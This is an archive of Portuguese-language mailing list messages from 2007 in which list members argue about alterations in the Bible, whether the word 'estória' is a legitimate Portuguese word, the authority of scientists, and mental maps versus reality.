Adeílson - "Nas bases do nosso portugues estao retalhos anglosaxoes, e
portanto, acho hipocrita negar novas palavras provenientes dessa lingua."

Há palavras que vêm do Árabe também. Almofada, Almirante, Xerife, Quintal,
Azeite.
Catchup acho que vem do Chinês. Nosso idioma é uma mistura "arrumada"

Mas acho que o Sílvio não critica o uso de palavras de origem estrangeira,
mas a "pressa" em trocar palavras que já existem em nosso idioma por outras.

Gil

---------- Forwarded message ----------
From: Adeilson Moreira Junior <adeilsonmoreirajr@hotmail.com>
Date: 31/03/2007 12:34
Subject: Re: [ciencialist] Alteracoes na Biblia
To: ciencialist@yahoogrupos.com.br

Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou
mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra
um pouco mais requintada que folclore. A lingua é uma construcao de
vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso
portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas
palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade
do uso de uma expressao estrangeira para melhor me expressar, usaria,
tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é
comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues
que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando
estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar
a língua: converse com uma pessoa qualquer na rua e faça com que ela use a
palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam
os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são
produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a
forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se
entender. E não é imperioso que se estabeleçam regras e mais regras, de
forma a que esses símbolos se apresentem "politicamente" inseridos num
contexto,elegantemente interconectados, e outras saídas do armário
associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me
compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons
emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção;
''causo'': ''Ouviram atentos aquelas estórias de mentira, da
'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar
fundo nas histórias de verdade, para saber como foi construído o Brasil''
(Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de
quadros, que representam uma estória, com legendas ou sem elas. E. da
carochinha: conto da carochinha. Estórias do arco da velha: coisas
inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa
enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias:
evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial
de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente
"estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros
frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação.
Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo
do usuário dessa língua, com promessas e mais promessas, com mentiras e o
mais associado; é prostituir a sociedade com a neurose justificada e real da
falta de segurança, em todas as áreas, sendo a física tão visceralmente
atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um
básico e necessário a um mínimo de conforto nesta curta vida que ainda
haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é
que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada
segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na
nossa língua. O único escritor brasileiro que a usou com propriedade,
copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas
pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está
errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito
uma coisa e , por exemplo, um monge copista ter alterado para adequar aos
dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando
ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades,
que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e
todo e qualquer estudioso de teologia sabe que a maior parte dela foi
escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem
aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita
na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia
Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema
'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da
matemática) ou científico. Procurar erros em tais narrativas é procurar
'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus
modismos não seria o livro mais vendido do mundo; dogmas não são
permanentes! Cada narrativa deve ser alterada para ter um novo sentido
condizente com os padrões da população vigente. Cada crente deve consultar a
'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário
da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y =
ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo
vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com
certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela
contem? Sei que durante o processo historico ocorreram muitas alteracoes
visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui
encontrar informacoes mais concentradas, somente dados soltos por diversos
sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 09:52

Se Guimarães Rosa usou a palavra "estória" com propriedade, então ela está
autorizada.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa
língua. O único escritor brasileiro que a usou com propriedade, copiando os
falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
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From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas
pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está
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Sds,
Victor.

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From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito
uma coisa e , por exemplo, um monge copista ter alterado para adequar aos
dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando
ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades,
que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e
todo e qualquer estudioso de teologia sabe que a maior parte dela foi
escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem
aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita
na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia
Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema
'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da
matemática) ou científico. Procurar erros em tais narrativas é procurar
'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus
modismos não seria o livro mais vendido do mundo; dogmas não são
permanentes! Cada narrativa deve ser alterada para ter um novo sentido
condizente com os padrões da população vigente. Cada crente deve consultar a
'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário
da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y =
ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo
vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com
certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela
contem? Sei que durante o processo historico ocorreram muitas alteracoes
visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui
encontrar informacoes mais concentradas, somente dados soltos por diversos
sites.
Obrigado desde ja,

Adeilson Moreira Junior



SUBJECT: Tinha um Cientista no Meio do Caminho (sobre autoridade)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 09:54

Veja as imagens da ciência e do cientista que aparecem
na televisão. Os agentes de propaganda não são bobos.
Se eles usam tais imagens é porque eles sabem que elas
são eficientes para desencadear decisões e
comportamentos. É o que foi dito antes: cientista tem
autoridade, sabe sobre o que está falando e os outros
devem ouvi-lo e obedecê-lo.

Daí que imagem de ciência e cientista pode e é usada
para ajudar a vender cigarro. Veja, por exemplo, os
novos tipos de cigarro, produzidos cientificamente. E
os laboratórios, microscópios e cientistas de aventais
imaculadamente brancos enchem os olhos e a cabeça dos
telespectadores. E há cientistas que anunciam pasta de
dente, remédios para caspa, varizes, e assim por
diante.

O cientista virou um mito. E todo mito é perigoso,
porque ele induz o comportamento e inibe o pensamento.
Este é um dos resultados engraçados (e trágicos) da
ciência. Se existe uma classe especializada em pensar
de maneira correta (os cientistas), os outros
indivíduos são liberados da obrigação de pensar e
podem simplesmente fazer o que os cientistas mandam.

Quando o médico lhe dá uma receita você faz perguntas?
Sabe como os medicamentos funcionam? Será que você se
pergunta se o médico sabe como os medicamentos
funcionam? Ele manda, a gente compra e toma. Não
pensamos. Obedecemos. Não precisamos pensar, porque
acreditamos que há indivíduos especializados e
competentes em pensar. Pagamos para que ele pense por
nós.

O que eu disse dos médicos você pode aplicar a tudo.
Os economistas tomam decisões e temos de obedecer. Os
engenheiros e urbanistas dizem como devem ser as
nossas cidades, e assim acontece. Dizem que o álcool
será a solução para que nossos automóveis continuem a
trafegar, e a agricultura se altera para que a palavra
dos técnicos se cumpra. Afinal de contas, para que
serve a nossa cabeça? Ainda podemos pensar? Adianta
pensar?

É necessário acabar com o mito de que o cientista é
uma pessoa que pensa melhor do que as outras. O fato
de uma pessoa ser muito boa para jogar xadrez não
significa que ela seja mais inteligente do que os
não-jogadores. Você pode ser um especialista em
resolver quebra-cabeças. Isto não o torna mais
capacitado na arte de pensar.






- - - - - - - - - - - - - - -

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SUBJECT: Re: [ciencialist] Tinha um Cientista no Meio do Caminho (sobre autoridade)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 10:14

Caro Marcelo,

As palavras "O cientista virou um mito. E todo mito é perigoso" são de Rubem
Alves, não é? Sendo assim, deveriam estar entre aspas e com os devidos
créditos, não é?

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 9:54 AM
Subject: [ciencialist] Tinha um Cientista no Meio do Caminho (sobre
autoridade)


> Veja as imagens da ciência e do cientista que aparecem
> na televisão. Os agentes de propaganda não são bobos.
> Se eles usam tais imagens é porque eles sabem que elas
> são eficientes para desencadear decisões e
> comportamentos. É o que foi dito antes: cientista tem
> autoridade, sabe sobre o que está falando e os outros
> devem ouvi-lo e obedecê-lo.
>
> Daí que imagem de ciência e cientista pode e é usada
> para ajudar a vender cigarro. Veja, por exemplo, os
> novos tipos de cigarro, produzidos cientificamente. E
> os laboratórios, microscópios e cientistas de aventais
> imaculadamente brancos enchem os olhos e a cabeça dos
> telespectadores. E há cientistas que anunciam pasta de
> dente, remédios para caspa, varizes, e assim por
> diante.
>
> O cientista virou um mito. E todo mito é perigoso,
> porque ele induz o comportamento e inibe o pensamento.
> Este é um dos resultados engraçados (e trágicos) da
> ciência. Se existe uma classe especializada em pensar
> de maneira correta (os cientistas), os outros
> indivíduos são liberados da obrigação de pensar e
> podem simplesmente fazer o que os cientistas mandam.
>
> Quando o médico lhe dá uma receita você faz perguntas?
> Sabe como os medicamentos funcionam? Será que você se
> pergunta se o médico sabe como os medicamentos
> funcionam? Ele manda, a gente compra e toma. Não
> pensamos. Obedecemos. Não precisamos pensar, porque
> acreditamos que há indivíduos especializados e
> competentes em pensar. Pagamos para que ele pense por
> nós.
>
> O que eu disse dos médicos você pode aplicar a tudo.
> Os economistas tomam decisões e temos de obedecer. Os
> engenheiros e urbanistas dizem como devem ser as
> nossas cidades, e assim acontece. Dizem que o álcool
> será a solução para que nossos automóveis continuem a
> trafegar, e a agricultura se altera para que a palavra
> dos técnicos se cumpra. Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?
>
> É necessário acabar com o mito de que o cientista é
> uma pessoa que pensa melhor do que as outras. O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar.
>
>
>
>
>
>
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SUBJECT: Re: [ciencialist] Tinha um Cientista no Meio do Caminho (sobre autoridade)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 10:19

Concordo com tudo que disse mas reafirmo: Você deveria
ser mais direito quando faz seus apontamentos.
Se você quer falar sobre a dúvida do duvidar poderia
dar uma olhada em alguns textos na página de Olavo de
Carvalho(Ser e Conhecer).

Abraços.

--- Ferrari <emailferrari@yahoo.com.br> escreveu:

> Veja as imagens da ciência e do cientista que
> aparecem
> na televisão. Os agentes de propaganda não são
> bobos.
> Se eles usam tais imagens é porque eles sabem que
> elas
> são eficientes para desencadear decisões e
> comportamentos. É o que foi dito antes: cientista
> tem
> autoridade, sabe sobre o que está falando e os
> outros
> devem ouvi-lo e obedecê-lo.
>
> Daí que imagem de ciência e cientista pode e é usada
> para ajudar a vender cigarro. Veja, por exemplo, os
> novos tipos de cigarro, produzidos cientificamente.
> E
> os laboratórios, microscópios e cientistas de
> aventais
> imaculadamente brancos enchem os olhos e a cabeça
> dos
> telespectadores. E há cientistas que anunciam pasta
> de
> dente, remédios para caspa, varizes, e assim por
> diante.
>
> O cientista virou um mito. E todo mito é perigoso,
> porque ele induz o comportamento e inibe o
> pensamento.
> Este é um dos resultados engraçados (e trágicos) da
> ciência. Se existe uma classe especializada em
> pensar
> de maneira correta (os cientistas), os outros
> indivíduos são liberados da obrigação de pensar e
> podem simplesmente fazer o que os cientistas mandam.
>
>
> Quando o médico lhe dá uma receita você faz
> perguntas?
> Sabe como os medicamentos funcionam? Será que você
> se
> pergunta se o médico sabe como os medicamentos
> funcionam? Ele manda, a gente compra e toma. Não
> pensamos. Obedecemos. Não precisamos pensar, porque
> acreditamos que há indivíduos especializados e
> competentes em pensar. Pagamos para que ele pense
> por
> nós.
>
> O que eu disse dos médicos você pode aplicar a tudo.
> Os economistas tomam decisões e temos de obedecer.
> Os
> engenheiros e urbanistas dizem como devem ser as
> nossas cidades, e assim acontece. Dizem que o álcool
> será a solução para que nossos automóveis continuem
> a
> trafegar, e a agricultura se altera para que a
> palavra
> dos técnicos se cumpra. Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?
>
> É necessário acabar com o mito de que o cientista é
> uma pessoa que pensa melhor do que as outras. O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar.
>
>
>
>
>
>
> - - - - - - - - - - - - - - -
>
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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 11:51

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Mas se vc não quer nem pensar em responder as
> perguntas, o que posso fazer?

Não sou eu quem não quero pensar, lembre-se eu não controlo meus
pensamentos.


> --- Estou indo mais a fundo do que isto. Estou disendo
> que algo te faz pensar que existe uma separação entre
> vc e a broa de milho. Algo te faz pensar que são
> coisas distintas: eu (takata) não sou o outro (broa de
> milho).

Não importa. O q importa é q estou pensando q estou comendo broa de
milho, mas não estou saciando a minha fome. Meu mapa mental foi
alterado, sem q isso corresponda a algo real.


> Takata >>> A realidade não é apenas um mapa mental.
>
> --- Takata, nisto já concordamos. O mapa sempre é de
> um território. Se não tem território, como fazer um
> mapa do nada? Impossivel. A realidade é o território
> desconhecido. É o corpo de deus.

Não traz nenhuma informação chamar o desconhecido de deus. É como
chamar palitos de dentes de deus.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 12:10

E qual palavra poderia tambem ser usada com o mesmo requinte de estoria? Folclore acaba tendo o sentido muito fantasioso e, digamos, mentiroso, nao o sentido ficcional que estoria tem.
Eu entendi o que o Silvio criticou, mas ele foi muito ortodoxo e é apenas o meu ponto de vista.

Adeilson Moreira Junior

----- Original Message -----
From: Gil
Subject: Re: [ciencialist] Alteracoes na Biblia


Adeílson - "Vitor, eu discordo completamente de voce. Se fosse falante de
arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos."

Adeílson - "Nas bases do nosso portugues estao retalhos anglosaxoes, e
portanto, acho hipocrita negar novas palavras provenientes dessa lingua."

Há palavras que vêm do Árabe também. Almofada, Almirante, Xerife, Quintal,
Azeite.
Catchup acho que vem do Chinês. Nosso idioma é uma mistura "arrumada"

Mas acho que o Sílvio não critica o uso de palavras de origem estrangeira,
mas a "pressa" em trocar palavras que já existem em nosso idioma por outras.

Gil

---------- Forwarded message ----------
From: Adeilson Moreira Junior <adeilsonmoreirajr@hotmail.com>
Date: 31/03/2007 12:34
Subject: Re: [ciencialist] Alteracoes na Biblia
To: ciencialist@yahoogrupos.com.br

Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou
mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra
um pouco mais requintada que folclore. A lingua é uma construcao de
vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso
portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas
palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade
do uso de uma expressao estrangeira para melhor me expressar, usaria,
tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é
comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues
que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando
estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar
a língua: converse com uma pessoa qualquer na rua e faça com que ela use a
palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam
os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são
produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a
forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se
entender. E não é imperioso que se estabeleçam regras e mais regras, de
forma a que esses símbolos se apresentem "politicamente" inseridos num
contexto,elegantemente interconectados, e outras saídas do armário
associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me
compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons
emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção;
''causo'': ''Ouviram atentos aquelas estórias de mentira, da
'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar
fundo nas histórias de verdade, para saber como foi construído o Brasil''
(Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de
quadros, que representam uma estória, com legendas ou sem elas. E. da
carochinha: conto da carochinha. Estórias do arco da velha: coisas
inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa
enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias:
evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial
de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente
"estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros
frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação.
Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo
do usuário dessa língua, com promessas e mais promessas, com mentiras e o
mais associado; é prostituir a sociedade com a neurose justificada e real da
falta de segurança, em todas as áreas, sendo a física tão visceralmente
atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um
básico e necessário a um mínimo de conforto nesta curta vida que ainda
haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é
que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada
segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na
nossa língua. O único escritor brasileiro que a usou com propriedade,
copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas
pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está
errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito
uma coisa e , por exemplo, um monge copista ter alterado para adequar aos
dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando
ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades,
que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e
todo e qualquer estudioso de teologia sabe que a maior parte dela foi
escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem
aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita
na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia
Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema
'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da
matemática) ou científico. Procurar erros em tais narrativas é procurar
'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus
modismos não seria o livro mais vendido do mundo; dogmas não são
permanentes! Cada narrativa deve ser alterada para ter um novo sentido
condizente com os padrões da população vigente. Cada crente deve consultar a
'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário
da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y =
ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo
vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com
certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela
contem? Sei que durante o processo historico ocorreram muitas alteracoes
visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui
encontrar informacoes mais concentradas, somente dados soltos por diversos
sites.
Obrigado desde ja,

Adeilson Moreira Junior
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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 12:13

Eu errei o destinatario, que era o Silvio... Me desculpe...

Adeilson Moreira Junior

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 7:15 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Caro Adeilson,

..and so on. Segundo o seu bom texto, subsequente a "...discordo completamente de voce.", o "discordo" não estaria equivocado?
Pois sua prosa somente corrobora as minhas poucas e mal traçadas linhas.
Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 12:34 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra um pouco mais requintada que folclore. A lingua é uma construcao de vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade do uso de uma expressao estrangeira para melhor me expressar, usaria, tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
